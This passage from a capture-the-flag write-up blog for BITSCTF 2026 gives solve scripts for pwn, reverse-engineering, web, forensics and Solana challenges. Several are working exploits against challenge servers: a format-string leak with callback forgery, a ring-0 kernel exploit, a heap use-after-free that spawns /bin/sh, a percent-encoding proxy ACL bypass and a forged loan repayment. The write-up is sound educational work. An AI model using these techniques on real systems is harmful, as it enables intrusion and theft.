acc = (chan<<16) ^ sess ^ flags ^ 0x9e3779b9;
for each payload byte b:
    acc = rol32(acc, 7);
    acc ^= (b + 0x3d);

Key bug chain in diagnostics handling:

  1. TLV tag 0x10 decrypts attacker bytes into a global string buffer
  2. TLV tag 0x40 triggers: __printf_chk(2, controlled_buffer, st80, st, keep_win) — format string primitive
  3. Tag 0x31 sets encrypted callback pointer. On teardown (chan=9), server decrypts and calls it

Callback decode: decoded = cb_enc ^ (((uint64_t)st80 << 32) ^ st84 ^ 0x9e3779b97f4a7c15)

Exploitation#

  1. Pass auth with proper MAC computation
  2. Use format string to leak win function address
  3. Forge cb_enc so decoded callback == leaked win
  4. Trigger channel 9 to execute win() which prints flag.txt

File used: solve.py

#!/usr/bin/env python3
from pwn import *
import re
import struct

HOST = "20.193.149.152"
PORT = 1339

ST84_INIT = 0x28223B24
SEED_INIT = 0x3B152813
AUTH_XOR = 0x31C3B7A9
CB_CONST = 0x9E3779B97F4A7C15


def mix32(x: int) -> int:
    x &= 0xFFFFFFFF
    x = (((x << 13) & 0xFFFFFFFF) ^ x) & 0xFFFFFFFF
    x = ((x >> 17) ^ x) & 0xFFFFFFFF
    x = (((x << 5) & 0xFFFFFFFF) ^ x) & 0xFFFFFFFF
    return x


def kbyte(seed: int, idx: int) -> int:
    idx16 = idx & 0xFFFF
    v = (seed + ((idx16 * 0x045D9F3B) & 0xFFFFFFFF)) & 0xFFFFFFFF
    return mix32(v) & 0xFF


def mac32(payload: bytes, chan: int, flags: int, sess: int) -> int:
    acc = (((chan & 0xFF) << 16) ^ (sess & 0xFFFFFFFF) ^ (flags & 0xFF) ^ 0x9E3779B9) & 0xFFFFFFFF
    for b in payload:
        acc = ((acc << 7) | (acc >> 25)) & 0xFFFFFFFF
        acc ^= (b + 0x3D) & 0xFFFFFFFF
    return acc


def frame(chan: int, flags: int, payload: bytes, sess: int) -> bytes:
    return (
        struct.pack("<BBHI", chan, flags, len(payload), mac32(payload, chan, flags, sess))
        + payload
    )


def tlv(tag: int, value: bytes) -> bytes:
    if len(value) > 0xFF:
        raise ValueError("TLV value too long")
    return bytes([tag & 0xFF, len(value)]) + value


def enc_for_tag10(plain: bytes, st80: int, st84: int) -> bytes:
    seed = (st80 ^ st84) & 0xFFFFFFFF
    return bytes([(plain[i] ^ kbyte(seed, i)) & 0xFF for i in range(len(plain))])


def start():
    if args.LOCAL:
        return process(["./orbital_relay"])
    return remote(HOST, PORT)


def main():
    io = start()

    io.send(b"SYNCv3?")
    sess = u32(io.recvn(4))
    log.info(f"session = {sess:#x}")

    st84 = ST84_INIT
    st80 = mix32(SEED_INIT)

    auth_token = (mix32(st84 ^ sess) ^ AUTH_XOR) & 0xFFFFFFFF
    io.send(frame(3, 0, p32(auth_token), sess))

    # set state > 2 requirement for teardown path
    io.send(frame(1, 0, tlv(0x22, b"\x03"), sess))

    # format-string leak path
    leak_fmt = b"%p|%p|%p\n"
    enc = enc_for_tag10(leak_fmt, st80, st84)
    leak_req = tlv(0x10, enc) + tlv(0x40, b"")
    io.send(frame(1, 0, leak_req, sess))

    leak_blob = io.recvuntil(b"relay/open\n", timeout=3.0)
    if not leak_blob:
        leak_blob = io.recvrepeat(1.0)

    m = re.search(rb"0x[0-9a-fA-F]+\|0x[0-9a-fA-F]+\|(0x[0-9a-fA-F]+)", leak_blob)
    win_addr = int(m.group(1), 16)
    log.success(f"win = {win_addr:#x}")

    key = (((st80 & 0xFFFFFFFF) << 32) ^ (st84 & 0xFFFFFFFF) ^ CB_CONST) & 0xFFFFFFFFFFFFFFFF
    cb_enc = win_addr ^ key

    io.send(frame(1, 0, tlv(0x31, p64(cb_enc)), sess))
    io.send(frame(9, 0, b"", sess))

    out = io.recvrepeat(2.0)
    print(out.decode(errors="ignore"))


if __name__ == "__main__":
    main()

Run:

python3 solve.py

Promotion#

Category: Pwn (Kernel)
Flag: BITSCTF{pr0m0710n5_4r3_6r347._1f_1_0nly_h4d_4_j0b...}

Challenge Description#

Given promotion_for_players.zip with bzImage, rootfs.cpio.gz, run.sh, diff.txt. Remote: nc 20.193.149.152 1337

From run.sh: flag attached as block device via -hda /challenge/flag.txt

Analysis#

Kernel patch in diff.txt introduces interrupt vector 0x81:

pushq %rax
movq %cs, %rax
movq %rax, 16(%rsp)
xorq %rax, %rax
movq %rax, 40(%rsp)
popq %rax
iretq

This intentionally corrupts iret-frame fields. When userland executes int $0x81, we get kernel-level control.

Exploitation#

  1. Trigger int $0x81
  2. Immediately disable interrupts (cli) to keep execution stable
  3. Perform ATA PIO read of LBA0 from primary disk via I/O ports (command/status: 0x1f7, data: 0x1f0)
  4. Print bytes to serial COM1 (0x3f8)

File used: exploit_ring0.S

.global _start
.section .text

_start:
    int $0x81
    cli

wait_bsy:
    mov $0x1f7, %dx
    inb %dx, %al
    test $0x80, %al
    jnz wait_bsy

    mov $0xe0, %al
    mov $0x1f6, %dx
    outb %al, %dx

    mov $1, %al
    mov $0x1f2, %dx
    outb %al, %dx

    xor %al, %al
    mov $0x1f3, %dx
    outb %al, %dx
    mov $0x1f4, %dx
    outb %al, %dx
    mov $0x1f5, %dx
    outb %al, %dx

    mov $0x20, %al
    mov $0x1f7, %dx
    outb %al, %dx

wait_drq:
    mov $0x1f7, %dx
    inb %dx, %al
    test $0x08, %al
    jz wait_drq

    mov $256, %ecx

read_loop:
    mov $0x1f0, %dx
    inw %dx, %ax

    mov %al, %bl
    cmp $0, %bl
    je done
    cmp $0x0a, %bl
    je done
    cmp $0x0d, %bl
    je done
    cmp $0x20, %bl
    jb low_dot
    cmp $0x7e, %bl
    ja low_dot
    jmp low_send
low_dot:
    mov $'.', %bl
low_send:
wait_tx1:
    mov $0x3fd, %dx
    inb %dx, %al
    test $0x20, %al
    jz wait_tx1
    mov %bl, %al
    mov $0x3f8, %dx
    outb %al, %dx

    mov %ah, %bl
    cmp $0, %bl
    je done
    cmp $0x0a, %bl
    je done
    cmp $0x0d, %bl
    je done
    cmp $0x20, %bl
    jb high_dot
    cmp $0x7e, %bl
    ja high_dot
    jmp high_send
high_dot:
    mov $'.', %bl
high_send:
wait_tx2:
    mov $0x3fd, %dx
    inb %dx, %al
    test $0x20, %al
    jz wait_tx2
    mov %bl, %al
    mov $0x3f8, %dx
    outb %al, %dx

    loop read_loop

done:
    mov $'\n', %bl
wait_tx3:
    mov $0x3fd, %dx
    inb %dx, %al
    test $0x20, %al
    jz wait_tx3
    mov %bl, %al
    mov $0x3f8, %dx
    outb %al, %dx

hang:
    hlt
    jmp hang

Compile:

gcc -nostdlib -static -s -o exploit_ring0 exploit_ring0.S

Upload and execute via base64:

#!/usr/bin/env python3
from pwn import *
import base64
import textwrap

HOST, PORT = "20.193.149.152", 1337
BIN_PATH = "./exploit_ring0"

def main():
    payload_b64 = base64.b64encode(open(BIN_PATH, "rb").read()).decode()
    chunks = textwrap.wrap(payload_b64, 76)

    io = remote(HOST, PORT, timeout=10)

    boot = b""
    while b"~ $" not in boot and b"/ $" not in boot:
        d = io.recv(timeout=0.5)
        if d:
            boot += d

    io.sendline(b"cat >/tmp/e.b64 <<'EOF'")
    for line in chunks:
        io.sendline(line.encode())
    io.sendline(b"EOF")

    io.sendline(b"base64 -d /tmp/e.b64 >/tmp/e")
    io.sendline(b"chmod +x /tmp/e")
    io.sendline(b"/tmp/e")

    out = b""
    for _ in range(300):
        d = io.recv(timeout=0.2)
        if d:
            out += d
            if b"}" in out:
                break

    print(out.decode("latin1", errors="ignore"))
    io.close()


if __name__ == "__main__":
    main()

Flag:

BITSCTF{pr0m0710n5_4r3_6r347._1f_1_0nly_h4d_4_j0b...}

Midnight Relay#

Category: Pwn
Flag: BITSCTF{m1dn1ght_r3l4y_m00nb3ll_st4t3_p1v0t}

Challenge Description#

Given midnight_relay.tar.gz. Remote: nc 20.193.149.152 1338

Protocol: Packet header = op (u8) | key (u8) | len (u16 LE), max payload 0x500. Operations: 0x11 forge, 0x22 tune, 0x33 observe, 0x44 shred, 0x55 sync, 0x66 fire.

Analysis#

Each slot (idx & 0xf) entry contains: ptr (qword), size (u16), armed (u8).

forge allocates calloc(1, size+0x20) and writes trailer at t = ptr + size:

t[0] = (t >> 12) ^ cookie ^ 0x48454c494f5300ff
t[3] = ((rand()<<32) ^ rand())
t[2] = ptr
t[1] = (t >> 13) ^ idle ^ t[0] ^ t[3]

fire computes callback: fn = (t >> 13) ^ t[0] ^ t[1] ^ t[3] then call fn(). Important: rdi contains ptr at call rax, so if fn = system, it executes system(ptr).

Vulnerabilities:

  • Use-after-free: shred frees chunk but does not clear slots[idx].ptr
  • UAF read/write: observe/tune can still access freed memory
  • Trailer rewrite: tune can rewrite all trailer fields (size+0x20 window)

Exploitation#

  1. Forge chunk 0 with /bin/sh\x00 at chunk start
  2. Leak ptr + cookie from trailer (observe(0, size, 0x20))
  3. Free large chunk (size 0x500) and leak unsorted-bin pointer at offset 0x20
  4. Compute libc base: libc_base = unsorted_fd - 0x203B20
  5. Restore /bin/sh\x00 at chunk start (free clobbers first bytes)
  6. Forge valid trailer so decoded callback = system
  7. sync with correct token, then fire => system('/bin/sh')
#!/usr/bin/env python3
from pwn import *

HOST, PORT = '20.193.149.152', 1338
CONST = 0x48454C494F5300FF
INIT_EPOCH = 0x6B1D5A93
MAIN_ARENA_PLUS60 = 0x203B20
SYSTEM_OFF = 0x58750

io = remote(HOST, PORT)
io.recvline()

epoch = INIT_EPOCH


def key(payload: bytes) -> int:
    global epoch
    x = epoch
    for b in payload:
        x = ((x * 8) ^ (x >> 2) ^ b ^ 0x71) & 0xFFFFFFFF
    return x & 0xFF


def bump(op: int):
    global epoch
    epoch ^= ((op << 9) | 0x5F)
    epoch &= 0xFFFFFFFF


def send_pkt(op: int, payload: bytes = b''):
    io.send(p8(op) + p8(key(payload)) + p16(len(payload)) + payload)


def forge(idx: int, size: int, tag: bytes):
    send_pkt(0x11, p8(idx) + p16(size) + p8(len(tag)) + tag)
    bump(0x11)


def tune(idx: int, off: int, data: bytes):
    send_pkt(0x22, p8(idx) + p16(off) + p16(len(data)) + data)
    bump(0x22)


def observe(idx: int, off: int, n: int) -> bytes:
    send_pkt(0x33, p8(idx) + p16(off) + p16(n))
    d = io.recvn(n, timeout=2)
    if len(d) != n:
        raise EOFError(f"short observe: expected {n}, got {len(d)}")
    bump(0x33)
    return d


def shred(idx: int):
    send_pkt(0x44, p8(idx))
    bump(0x44)


def sync(idx: int, token: int):
    send_pkt(0x55, p8(idx) + p32(token))
    bump(0x55)


def fire(idx: int):
    send_pkt(0x66, p8(idx))
    bump(0x66)


# 1) Allocate command chunk and leak trailer
idx = 0
size = 0x500
forge(idx, size, b'/bin/sh\x00')
tr = observe(idx, size, 0x20)
t0, t1, ptr, t3 = [u64(tr[i:i+8]) for i in range(0, 32, 8)]
cookie = t0 ^ ((ptr + size) >> 12) ^ CONST

# 2) Leak libc from unsorted bin
forge(1, 0x80, b'G')
shred(idx)
unsorted_fd = u64(observe(idx, 0x20, 8))
libc_base = unsorted_fd - MAIN_ARENA_PLUS60
system = libc_base + SYSTEM_OFF

# Restore command string (free metadata clobbered chunk start)
tune(idx, 0, b'/bin/sh\x00')

# 3) Forge authenticated trailer for callback=system
T = ptr + size
ft0 = ((T >> 12) ^ cookie ^ CONST) & ((1 << 64) - 1)
ft3 = 0
ft2 = ptr
ft1 = ((T >> 13) ^ system ^ ft0 ^ ft3) & ((1 << 64) - 1)
tune(idx, size, p64(ft0) + p64(ft1) + p64(ft2) + p64(ft3))

# 4) Arm and trigger
token = (epoch ^ (ft0 & 0xFFFFFFFF) ^ (ft3 & 0xFFFFFFFF)) & 0xFFFFFFFF
sync(idx, token)
fire(idx)

# 5) Read flag
io.sendline(b'cat /app/flag.txt; exit')
print(io.recvrepeat(2).decode('latin-1', errors='ignore'))
io.close()

Reverse Engineering#

gcc (Ghost C Compiler)#

Category: Reverse
Flag: BITSCTF{n4n0m1t3s_4nd_s3lf_d3struct_0ur0b0r0s}

Challenge Description#

Given README.md and chall.zip. A supposedly “safe and fast” C compiler wrapper.

Analysis#

ghost_compiler is a 64-bit stripped PIE ELF with RELRO/Canary/NX/PIE. Running it without args produces gcc: fatal error: no input files - it forwards to system gcc.

Core logic from reversing:

  1. Opens itself (argv[0]), finds embedded 8-byte marker
  2. Computes FNV-1a-like 64-bit hash over whole file except 0x40-byte window
  3. Derives key: key = 0xcafebabe00000000 ^ hash
  4. Decrypts using rolling XOR with ROR64 key schedule
  5. Validates decrypted prefix is BITSCTF{

Solution#

Brute-force candidate offsets for 0x40-byte encrypted block:

#!/usr/bin/env python3
from pathlib import Path

BIN_PATH = "ghost_compiler"
TARGET_PREFIX = b"BITSCTF{"

FNV_OFFSET = 0xCBF29CE484222325
FNV_PRIME = 0x100000001B3
MASK64 = (1 << 64) - 1


def ror64(x: int, n: int = 1) -> int:
    return ((x >> n) | ((x << (64 - n)) & MASK64)) & MASK64


def derive_key(blob: bytes, skip_off: int, skip_len: int = 0x40) -> int:
    h = FNV_OFFSET
    for i, bt in enumerate(blob):
        if skip_off <= i < skip_off + skip_len:
            continue
        h ^= bt
        h = (h * FNV_PRIME) & MASK64
    return (0xCAFEBABE00000000 ^ h) & MASK64


def decrypt_window(blob: bytes, off: int, key: int, n: int = 0x40) -> bytes:
    out = bytearray()
    k = key
    for i in range(n):
        out.append(blob[off + i] ^ (k & 0xFF))
        k = ror64(k, 1)
    return bytes(out)


def main() -> None:
    blob = Path(BIN_PATH).read_bytes()

    for off in range(0, len(blob) - 0x40 + 1):
        key = derive_key(blob, off, 0x40)
        dec = decrypt_window(blob, off, key, 0x40)

        if dec.startswith(TARGET_PREFIX) and b"}" in dec:
            flag = dec.split(b"\x00", 1)[0].decode("utf-8", errors="ignore")
            print(f"[+] offset = {off}")
            print(f"[+] key    = {hex(key)}")
            print(f"[+] flag   = {flag}")
            return

    print("[-] Flag window not found")


if __name__ == "__main__":
    main()

Run:

python3 solve_ghost_compiler.py

Output:

[+] offset = 12320
[+] key    = 0x5145dd89c16375d8
[+] flag   = BITSCTF{n4n0m1t3s_4nd_s3lf_d3struct_0ur0b0r0s}

El Diablo#

Category: Reverse
Flag: BITSCTF{l4y3r_by_l4y3r_y0u_unr4v3l_my_53cr375}

Challenge Description#

Given challenge. UPX-packed binary expecting license file.

Analysis#

After unpacking: binary requires LICENSE-<hex> format. Has anti-debug (ptrace, /proc/self/status), SIGILL handler for VM execution.

VM logic recovered:

out[i] = CONST[i] XOR license[i mod 10]   for i = 0..45

Recovered 46-byte constant: dbbc3342678166ae9a08e0c6154e46ac7fb9c245aa87386814a07fa0984ead83547d7bb8598ac30ffa87542611a8

Only the first 10 license bytes matter for the transformed output.

Solution#

Derive first 8 key bytes from BITSCTF{ prefix, brute-force remaining 2 bytes:

#!/usr/bin/env python3
import re

CONST = bytes.fromhex(
    "dbbc3342678166ae9a08e0c6154e46ac7fb9c245aa873868"
    "14a07fa0984ead83547d7bb8598ac30ffa87542611a8"
)

PREFIX = b"BITSCTF{"


def decode_with_key10(key10: bytes) -> bytes:
    return bytes(CONST[i] ^ key10[i % 10] for i in range(len(CONST)))


def main():
    key = [None] * 10
    for i, ch in enumerate(PREFIX):
        key[i] = CONST[i] ^ ch

    pattern = re.compile(r"^BITSCTF\{[A-Za-z0-9_]+\}$")

    for k8 in range(256):
        for k9 in range(256):
            key[8] = k8
            key[9] = k9
            key10 = bytes(key)
            pt = decode_with_key10(key10)

            try:
                s = pt.decode("ascii")
            except UnicodeDecodeError:
                continue

            if pattern.fullmatch(s):
                print(f"key10_hex={key10.hex()}  flag={s}")


if __name__ == "__main__":
    main()

Output:

key10_hex=99f5671124d520d5f63c
flag=BITSCTF{l4y3r_by_l4y3r_y0u_unr4v3l_my_53cr375}

Valid license: LICENSE-99f5671124d520d5f63c


Tuff Game#

Category: Reverse (Unity)
Flag: BITSCTF{Th1$_14_D3f1n1t3ly_Th3_fl4g}

Challenge Description#

Unity infinite runner. Flag displayed after reaching 1 million meters. Given Tuff_Game.zip.

Analysis#

Three layers of deception:

Layer 1 — XOR Decoy: NotAFlag class with key 0x5A{Umm_4ctually_unx0r11ng_t0_g3t_fl4g_s33ms_t00_34sy}

Layer 2 — RSA Decoy: FlagGeneration class, shared-prime attack on 1024-bit moduli → BITSCTF{https://blogs.mtdv.me/Crypt0} (Rick Roll)

Layer 3 — Real Flag: 900 tiles named rq_X_Y (rq = reversed “qr”) in resources.assets. Troll images hint: “think vertically” → transpose X,Y.

Solution#

Extract tiles with UnityPy, assemble with transposed coordinates:

#!/usr/bin/env python3
import UnityPy
import numpy as np
from PIL import Image
import cv2

env = UnityPy.load("Tuff_Game/Tuff_Game/Tuff_Game_Data/resources.assets")

tiles = {}
for obj in env.objects:
    if obj.type.name == "Texture2D":
        data = obj.read()
        name = data.m_Name
        if name.startswith("rq_"):
            parts = name.split("_")
            x, y = int(parts[1]), int(parts[2])
            tiles[(x, y)] = np.array(data.image)

print(f"[+] Loaded {len(tiles)} QR tiles")

# Assemble with TRANSPOSED coordinates
tile_size, grid_size = 5, 30
img_size = grid_size * tile_size
full_img = np.ones((img_size, img_size, 3), dtype=np.uint8) * 255

for (orig_x, orig_y), tile_data in tiles.items():
    new_col, new_row = orig_y, orig_x  # TRANSPOSED
    py, px = new_row * tile_size, new_col * tile_size
    full_img[py:py+tile_size, px:px+tile_size] = tile_data[:, :, :3]

Image.fromarray(full_img).save("qr_transposed_raw.png")

# Decode QR
scale = 10
upscaled = cv2.resize(full_img, (img_size * scale, img_size * scale), interpolation=cv2.INTER_NEAREST)
gray = cv2.cvtColor(upscaled, cv2.COLOR_RGB2GRAY)
detector = cv2.QRCodeDetector()
data, bbox, straight = detector.detectAndDecode(gray)

print(f"\n[★] FLAG: {data}")

Run:

python3 solve_tuff_game.py

Output:

[+] Loaded 900 QR tiles
[+] Saved qr_transposed_raw.png (150×150)
[★] FLAG: BITSCTF{Th1$_14_D3f1n1t3ly_Th3_fl4g}

safe not safe#

Category: Reverse
Flag: BITSCTF{7h15_41n7_53cur3_571ll_n07_p47ch1ng_17}

Challenge Description#

Given dist.zip with ARM kernel image. Remote: nc 135.235.195.203 3000. Flag on /dev/vda.

Analysis#

Challenge binary /challenge/lock_app is SUID root. Core math:

m1 = ((uint32_t)(a * 0x7A69) + b) % 1_000_000
m2 = (a ^ b) % 1_000_000
challenge = u ^ m1
response  = u ^ m2

response = challenge ^ m1 ^ m2

Binary uses glibc random_r with predictable state based on startup time.

Solution#

Reproduce RNG behavior with ctypes, rebuild S-box from time-derived seed:

#!/usr/bin/env python3
import ctypes
import re
import socket
import time

HOST = "135.235.195.203"
PORT = 3000


class RandomData(ctypes.Structure):
    _fields_ = [
        ("fptr", ctypes.c_void_p),
        ("rptr", ctypes.c_void_p),
        ("state", ctypes.c_void_p),
        ("rand_type", ctypes.c_int),
        ("rand_deg", ctypes.c_int),
        ("rand_sep", ctypes.c_int),
        ("end_ptr", ctypes.c_void_p),
    ]


libc = ctypes.CDLL("libc.so.6")


class GlibcRandomR:
    def __init__(self):
        self.rd = RandomData()
        self.statebuf = (ctypes.c_char * 128)()
        libc.initstate_r(1, ctypes.cast(self.statebuf, ctypes.c_char_p), 
                         ctypes.sizeof(self.statebuf), ctypes.byref(self.rd))

    def reseed(self, seed: int):
        libc.srandom_r(ctypes.c_uint(seed).value, ctypes.byref(self.rd))

    def next_u32(self) -> int:
        out = ctypes.c_int()
        libc.random_r(ctypes.byref(self.rd), ctypes.byref(out))
        return ctypes.c_uint32(out.value).value


def build_sbox(start_seed):
    rng = GlibcRandomR()
    rng.reseed(start_seed)
    rng.next_u32()
    rng.next_u32()
    s = list(range(256))
    for i in range(255, 0, -1):
        j = rng.next_u32() % (i + 1)
        s[i], s[j] = s[j], s[i]
    return s


def compute_response(challenge, sbox, challenge_seed):
    rng = GlibcRandomR()
    rng.reseed(challenge_seed)
    a = transform32(rng.next_u32(), sbox)
    b = transform32(rng.next_u32(), sbox)
    m1 = ((((a * 0x7A69) & 0xFFFFFFFF) + b) & 0xFFFFFFFF) % 1_000_000
    m2 = (a ^ b) % 1_000_000
    return (challenge ^ m1 ^ m2) & 0xFFFFFFFF


# Parse time, rebuild S-box, request challenge, compute response, submit
# ... (connection handling) ...

Web Exploitation#

rusty-proxy#

Category: Web
Flag: BITSCTF{tr4il3r_p4r51n6_15_p41n_1n_7h3_4hh}

Challenge Description#

Rust reverse proxy with Flask backend. Remote: http://rusty-proxy.chals.bitskrieg.in:25001

Analysis#

Proxy ACL in main.rs:

fn is_path_allowed(path: &str) -> bool {
    let normalized = path.to_lowercase();
    if normalized.starts_with("/admin") {
        return false;
    }
    true
}

The proxy checks the raw request path without URL decoding. Flask decodes %61a.

Exploitation#

curl "http://rusty-proxy.chals.bitskrieg.in:25001/%61dmin/flag"

/%61dmin/flag passes proxy check (doesn’t start with /admin), but Flask receives /admin/flag.

Or using Python:

#!/usr/bin/env python3
import requests

URL = "http://rusty-proxy.chals.bitskrieg.in:25001/%61dmin/flag"

r = requests.get(URL, timeout=10)
data = r.json()
print(f"Flag: {data.get('flag')}")

Forensics#

Marlboro#

Category: Forensics
Flag: BITSCTF{d4mn_y0ur_r34lly_w3n7_7h47_d33p}

Challenge Description#

Given SaveMeFromThisHell.zip containing Marlboro.jpg. Clues: smoke/fire + “programming language from hell”.

Analysis#

  1. binwalk Marlboro.jpg → ZIP appended at offset 3754399 (0x39499F)
  2. Extract → smoke.png and encrypted.bin
  3. exiftool smoke.png → Author: aHR0cHM6Ly96YjMubWUvbWFsYm9sZ2UtdG9vbHMv (Malbolge tools URL)
  4. zsteg -a smoke.pngKEY=c7027f5fdeb20dc7308ad4a6999a8a3e069cb5c8111d56904641cd344593b657

Solution#

# Carve ZIP from JPEG
python -c "data=open('Marlboro.jpg','rb').read();open('smoke.zip','wb').write(data[3754399:])"

unzip smoke.zip

# Get key from zsteg
zsteg -a smoke.png

# XOR decrypt
python -c "from pathlib import Path; key=bytes.fromhex('c7027f5fdeb20dc7308ad4a6999a8a3e069cb5c8111d56904641cd344593b657'); enc=Path('encrypted.bin').read_bytes(); Path('decrypted.bin').write_bytes(bytes(b ^ key[i % len(key)] for i,b in enumerate(enc)))"

# Execute Malbolge
python -m pip install malbolge
python -c "import malbolge; print(malbolge.eval(open('decrypted.bin').read().splitlines()[-1]))"

Blockchain#

Bank Heist#

Category: Blockchain (Solana)
Flag: BITSCTF{8ANk_h3157_1n51D3_A_8L0cK_ChA1n_15_cRa2Y}

Challenge Description#

Given bank-heist.tar.gz. Remote: nc 20.193.149.152 5000. Need to drain bank vault below 1M lamports.

Analysis#

verify_repayment inspects next top-level instruction but only checks:

  • instruction data starts with u32 2
  • transfer amount >= expected_amount
  • accounts[1].pubkey == bank_pda

Missing: doesn’t verify program_id is System Program, source constraints, or actual transfer.

Exploitation#

First instruction: CPI chain: OpenAccountVerifyKYC (proof from SlotHashes) → RequestLoan(999_100_000)

Second instruction: Forged “repayment” with only metadata: accounts [user, bank_pda], data <u32=2><u64=amount>

// Solver program (Rust SBF)
invoke(&open_ix, &[...])?;
// Compute KYC proof from SlotHashes
invoke(&verify_ix, &[...])?;
invoke(&request_ix, &[...])?;
# Driver script
#!/usr/bin/env python3
import socket
import struct

# ... (upload solve.so, send two instructions) ...

# First instruction: real CPI chain
send_line(s, "7")  # 7 accounts
send_line(s, f"sw {user}")
# ... account setup ...
ix1_data = bytes([1]) + struct.pack("<Q", 999_100_000)

# Second instruction: fake repayment
send_line(s, "2")  # 2 accounts
send_line(s, f"r {user}")
send_line(s, f"w {bank_pda_s}")
fake_transfer = struct.pack("<IQ", 2, 999_100_000)

Build and run:

cargo-build-sbf --manifest-path solve/Cargo.toml
python3 solve_remote.py 20.193.149.152 5000

Output:

Bank Vault Balance: 900000
Congratulations! You robbed the bank!
Flag: BITSCTF{8ANk_h3157_1n51D3_A_8L0cK_ChA1n_15_cRa2Y}
Bitskrieg Capture The Flag 2026 - Writeup
https://blog.rei.my.id/posts/9/bitsctf-2026-writeup/
Author
Reidho Satria
Published at
2026-02-22